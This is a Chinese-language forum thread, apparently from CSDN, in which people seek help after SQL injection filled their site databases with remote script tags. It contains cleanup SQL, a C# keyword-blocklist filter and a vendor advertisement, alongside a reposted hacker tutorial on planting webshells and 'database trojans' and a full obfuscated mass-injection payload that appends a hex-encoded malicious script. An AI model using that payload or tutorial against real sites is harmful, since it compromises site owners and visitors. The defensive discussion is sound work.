我的网站被黑了,网站内尽是:“</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><”,网页内容都没了,请教怎么处理,谢谢!
解决方案 »
- 怎样引用外部数据更改数据库数据?
- 为何无法“配置发布,订阅服务器和分发...”?(提示“sql server复制不支持昵称,例如使用‘.’或者‘(local)’作为服务器名”)
- 怎样消除Sql server 2008 R2中sql文件中的红色波浪线
- 如果有一个字段,里面是10个数字,现在要选出所有符合给出的10个数字中的任意的9个数字的所有记录。这个SQL应该怎么写?
- 日期的问题
- excel导入sql数据库时,工作表名是全数字的,怎么写语句呀?
- 基础问题:存储过程怎么执行呢?
- 请问最热门的orcale技术讨论区在哪里?
- 有没有办法在查询分析器中得到一个的创建语句
- SQL SERVER 中exists的用法
- 数据库一致性错误问题
- SQL中,OVER()是什么意思,怎么用呀,举个例子说明白些。
怎么删掉?
DECLARE @fieldtype sysname
SET @fieldtype='varchar'--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
http://topic.csdn.net/u/20080504/20/763ed034-317a-4695-a476-26317b905012.html
void Application_BeginRequest(Object sender, EventArgs e)
{
StartProcessRequest(); } #region SQL注入式攻击代码分析
/// <summary>
/// 处理用户提交的请求
/// </summary>
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "../default.aspx";//转向的错误提示页面
if (System.Web.HttpContext.Current.Request.QueryString != null)
{ for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{
// 错误处理: 处理用户提交信息!
}
}
/// <summary>
/// 分析用户请求是否正常
/// </summary>
/// <param name="Str">传入用户提交数据</param>
/// <returns>返回是否含有SQL注入式攻击代码</returns>
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "and|exec|insert|select|delete|update|count|*|chr|mid|master|truncate|char|declare"; string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
#endregion
</title></pre>><script src=htt</title></pre>><scriptsrc=http://sb.5252.ws:88/107/1.js></script><
和你差不多现在还没解决办法,只能恢复以前的备份
我数据库中是这样的代码
</title> </pre>> <script src=htt </title> </pre>> <scriptsrc=http://sb.5252.ws:88/107/1.js> </script> <
和你差不多 现在还没解决办法,只能恢复以前的备份
——————————————————————————————
很明显,你已经被强奸两次了。
不管用,我把上传的程序也要终止吗?
SET @fieldtype='varchar'--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
在网上看看应该有脚本的 你下个防止注入的脚本哈哈加到你网站上
我是最惨的,备份文件同样有问题,只能找两个月以前的备份恢复之前的内容,
后面的几乎是手动在调整。另外,我这个系统用了很多年了,有几千个JSP页面,要修改程序几乎不可能。
碰到这回事真是死的心都有!!
我在网上找了一下,发现这个症状与前段时间遇到的chirenrou、chishuiniu病毒又很多相似的地方。
还看到这条信息
http://www.digitcare.com.cn/articles.asp?id=21
这位同志说能解决这个问题,于是朋友说可能就是这个人制造的这个病毒。各位怎么看?
http://www.520hack.com/donghua/donghua1/200701/4156.html大家还是看看这个吧。应该是数据库挂马的问题。我也中彩了。
好久没给大家做教程了,前阵子在火狐发了个思路,数据库挂马,超绝,删都删不掉,后来我测试成功了一直没时间做成教程,因为我中间去广东旅游啦,嘿进入正题,我是在本地测试的,因为我之前拿下一个站,在挂马,但是管理员老是把我的代码删了,而且改了后台又改了数据库名,到最后我连修改index.asp,conn.asp的权限都没有了,所以就有了这个教程。今天我也就拿我拿到的那个站做演示吧。。错了,不是这个,晕,乱七八糟的,我得找找。。找到了,我记得这目录,万网的虚拟主机,这万网的虚拟主机说来也怪,旁注的话好多DB权限,可以列目录,要么是WEB数据分离,要么就是禁止MDB下载,这一个都是靠运气拿下的看操作吧,嘿,是一样吧。。我入侵之后第一件事就是下载整站源玛哈。数据库是ASP后缀的,正因为这样我才入侵了,也正是有了挂马的思路,先给大家做个一句话的演示吧。。我现在提交一句话,返回的信息应该是乱码,是乱码吧,,我现在插入一句话看看,这个后台根本就没有可以上传的地方,但却是数据库是ASP的所以一句话就把他给搞定了,这里也给那些傻鸟一个思路,在没有上传的前提下拿WEBSHELL的思路。我在添加管理员帐号,而帐号密码全部都写一句话,现在再用一句话连接,嘿,进来了吧,有了小马了。。这样一来的话管理员肯定会知道我们怎么入侵的,我们把一句话删除再看看,哈哈,想到了没有。。就算把一句话删除了也没用,照样连接,因为一句话已经写入数据库里了,是没法删除的,至少我都不知道怎么删除,接下来就挂马吧,我系统打了MS065014的补丁,我就用另外一个网马掩饰吧,做网马我就不多说了,我用这个做演示,网马测试成功,我们再做JS文件,因为添加帐号密码的时候是有字符限制的,太长了就不会有效果而且也添加不进去,我这是节省字符全部是1,
<script src="http://127.0.0.1/1.js"></script>这是调用JS的代码,正好可以加进去,好了,我们再来打开网页。中马了吧,然后我们再把JS代码删除。再打开网页,再打开一下,仔细看左下角哦,看最上面,首页调用了数据库中的JS代码吧,index.asp文件里没有JS代码哦,不要说我弄假哈。最后简单说一下原理吧,index为首页文件,打开之后要调用conn.asp或md5.asp等数据文件,转来转去之后肯定要转像数据库啦,既然转向了数据库就调用了我们的网马,原理和用户密码验证一样的吧,这只是我的说法。而且我也只拿了这个整站的源码来做测试,其他的我就不清楚了,好了,废话这么多,该闪人了。新年到,祝大家肉鸡多多,再见。
dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312532452536422536312533342533372532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--
《sql server 数据库的备份与恢复》
微软特约资深讲师 毛颉
http://topic.csdn.net/u/20080509/11/70ac59bd-d219-45c7-85ec-9d355398642c.html
{
if (isInt)
{
try
{
System.Convert.ToInt32(str);
}
catch
{
page.RegisterClientScriptBlock(" ", "<script language=javascript>alert('非法参数!');window.location.href='index.aspx'</script>"); str = null;
}
}
else
{
if (str.IndexOfAny(("'(").ToCharArray()) != -1)
{
str = null;
}
}
}
我设置了一个函数: 这样只能够防止url攻击,如果用户有提交的内容,在提交的时候一定要限制好 哦 public static void GetSafeRequest(Page page,ref string str, bool isInt)
{
if (isInt)
{
try
{
System.Convert.ToInt32(str);
}
catch
{
page.RegisterClientScriptBlock(" ", " <script language=javascript>alert('非法参数!');window.location.href='index.aspx' </script>"); str = null;
}
}
else
{
if (str.IndexOfAny(("'(").ToCharArray()) != -1)
{
str = null;
}
}
}
mdcsoft服务器网络安全解决方案
最近几周,很多站被SQL注入攻击频繁,很多服务器被入侵,网站被攻击,为解决以上问题,我们开发了
以下系列软件及制定了系列解决方案.追究原因,全部都是认为引起的,由于缺乏安全意识,程序存在漏
洞,服务器安全-权限设置不正确等因素....
在您遇到紧急事件时候可以联系我们mdcsodft网络安全实验室 [email protected] 13630284019
最短时间为您制定最有效的网络安全应急预案及解决方案.确保数据安全!
1.mdcsoft-ips (插件)
主要功能:阻止并记录SQL注入、XSS、跨目录等攻击,让随处可能潜伏的网站漏洞降至最低。
1. SQL注入:经测试可以阻止几乎所有的SQL注入问题,包括编码和特殊情况。
2. XSS:修正了微软的几个缺陷,但由于过于严格,可能影响正常功能。
3. 其它:出于安全原因,不便吐露。
说明:弥补国内asp.net SQL注入通用防注入的空白,应广大管理员的要求,此软件发布。在次期间好多 搞安全的朋友提出了不少建议,谢谢大家的热情支持。 注意:因为再.NET平台下开发所以运行需要安装Microsoft .NET Framework 2.0 SP2简体版 下载地址: http://dl.pconline.com.cn/html_2/1/82/id=10637&pn=0.html 一个20M的东西。如果你用的是最新的 WINDOWS 2003 SP2,系统自带有此平台,无须安装任何东西。
安装该插件前后进行效果对比, 2.安全加固 (针对有独立服务器用户)
我们为您提供安全加固解决方案 3.入侵检测,漏洞扫描,漏洞扫描修复 (针对虚拟主机用户)
不知道咋解决,解决完后过不多久又有了,哪位帮忙解决下,谢谢
典型的注入代码:
select @a='被加密的代码';exec(@a),所有的操作都被放在变量a里面了,所以它只要极少数的两个关键字就可以完成极复杂的工作
解决的办法是在你的接收参数被加入到sql语句之前,通通过滤一下敏感关键字,将select,exec等都换成全角的字符,这样计算机不认识,但不会影响人的阅读。